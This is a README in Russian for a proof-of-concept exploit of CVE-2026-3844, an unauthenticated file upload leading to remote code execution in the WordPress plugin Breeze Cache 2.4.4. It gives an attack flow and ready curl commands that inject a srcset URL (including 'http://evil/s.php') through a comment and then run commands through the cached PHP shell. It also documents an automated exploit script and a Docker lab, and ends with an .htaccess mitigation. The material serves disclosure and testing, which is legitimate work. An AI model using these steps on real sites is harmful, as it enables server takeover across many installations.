
Доказательство концепции эксплуатации для CVE-2026-3844 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода в Breeze Cache <= 2.4.4. Включает Docker-лабораторию и автоматизированный скрипт эксплуатации.
| Поле | Значение |
|---|
| CVE | CVE-2026-3844 |
| CVSS | 9.8 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-434 — Неограниченная загрузка файлов опасного типа |
| Плагин | Breeze Cache от Cloudways |
| Затронуты | Все версии до 2.4.4 включительно |
| Исправлено | 2.4.5 (changeset 3511463) |
| Установки | 400 000+ активных установок WordPress |
| Обнаружил | Hung Nguyen (bashu) |
| Раскрыто | 2026-04-23 |
Функция fetch_gravatar_from_remote() в inc/class-breeze-cache-cronjobs.php загружает
удалённые URL и сохраняет их в каталог, доступный через веб, используя исходное имя файла и
расширение из URL. Нет проверки MIME-типа, нет белого списка расширений и
нет проверки содержимого.
Когда включена настройка «Host Files Locally - Gravatars», плагин подключается к фильтру WordPress
get_avatar через breeze_replace_gravatar_image(). Эта функция использует регулярное выражение для извлечения
URL из атрибутов srcset и src в HTML-коде аватара. Злоумышленник может внедрить вредоносный
атрибут srcset, оставив комментарий с подделанным именем автора, что заставит плагин
загрузить и закэшировать произвольный PHP-файл.
Чего не хватает:
.php, .phtml, .phar — все принимаются)Атакующий WordPress + Breeze 2.4.4
| |
| 1. POST /wp-comments-post.php |
| author=x srcset=http://evil/s.php |
| ------------------------------------> |
| | Комментарий сохранён
| |
| 2. GET /?p=1 |
| ------------------------------------> |
| | Срабатывает фильтр get_avatar
| | breeze_replace_gravatar_image()
| | извлекает URL из srcset через regex
| | вызывает fetch_gravatar_from_remote()
| |
| 3. download_url() |
| http://evil/s.php |
| <----------------------------- |
| Содержимое PHP-файла |
| -----------------------------> |
| | Сохранено в:
| | wp-content/cache/breeze-extra/
| | gravatars/s.php
| |
| 4. GET /wp-content/cache/breeze-extra |
| /gravatars/s.php?cmd=id |
| ------------------------------------> |
| | PHP выполняется от имени www-data
| uid=33(www-data) |
| <------------------------------------ |
Этот PoC включает автономную Docker-среду с:
requests (pip install requests)cd docker/
docker compose up -d --build
Подождите ~30 секунд, пока WordPress инициализируется. Проверьте:
curl -s http://localhost:8088/wp-content/plugins/breeze/readme.txt | grep "Stable tag"
# Ожидается: Stable tag: 2.4.4
Docker-настройка автоматически:
breeze-store-gravatars-locally: 1)curl -X POST "http://localhost:8088/wp-comments-post.php" \
-d "comment_post_ID=1&author=x+srcset=http://PAYLOAD_IP:9999/shell.php&[email protected]&comment=test&submit=Post+Comment"
Замените PAYLOAD_IP на IP контейнера с полезной нагрузкой:
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' \
$(docker compose -f docker/docker-compose.yml ps -q payload)
Ожидаемый ответ: перенаправление HTTP 302 на страницу записи.
Посетите страницу записи, чтобы WordPress отрендерил аватар комментария, что запускает
фильтр Breeze get_avatar и загружает полезную нагрузку:
curl -s "http://localhost:8088/?p=1" > /dev/null
В отрендеренном HTML видно, что Breeze извлёк внедрённый srcset и закэшировал полезную нагрузку:
PHP-полезная нагрузка записана дословно, владелец — www-data:
cd poc/
pip install requests
python3 exploit.py --target http://localhost:8088 --payload http://PAYLOAD_IP:9999/shell.php
usage: exploit.py [-h] -t TARGET [-p PAYLOAD] [--post-id POST_ID]
[--timeout TIMEOUT] [--wait WAIT] [--check-only]
-t, --target URL целевого WordPress (обязательно)
-p, --payload URL PHP-полезной нагрузки для загрузки
--post-id Конкретный ID записи для комментария
--timeout Таймаут HTTP в секундах (по умолчанию: 15)
--wait Секунды ожидания cron (по умолчанию: 12)
--check-only Только проверить версию плагина, без эксплуатации
cd docker/
docker compose down -v --remove-orphans
.htaccess в wp-content/cache/breeze-extra/gravatars/:
<FilesMatch "\.ph(p|tml|ar)$">
Require all denied
</FilesMatch>
cve-2026-3844/
README.md # Этот файл
docker/
Dockerfile # Образ WordPress + Breeze 2.4.4
docker-compose.yml # Полная лаборатория (WP + MariaDB + сервер полезной нагрузки)
entrypoint-custom.sh # Автоконфигурация WP с уязвимыми настройками
poc/
exploit.py # Автоматизированный PoC-скрипт эксплуатации
validate.sh # Сквозной Docker-механизм валидации
payloads/
shell.php # Безвредная PoC-полезная нагрузка (echo + id)
screenshots/ # SVG-скриншоты терминала (Charm freeze)
validation/ # Результаты валидации эксплуатируемости RAPTOR
Этот proof-of-concept предоставлен только для авторизованного тестирования безопасности, обучения и защитных исследований. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным.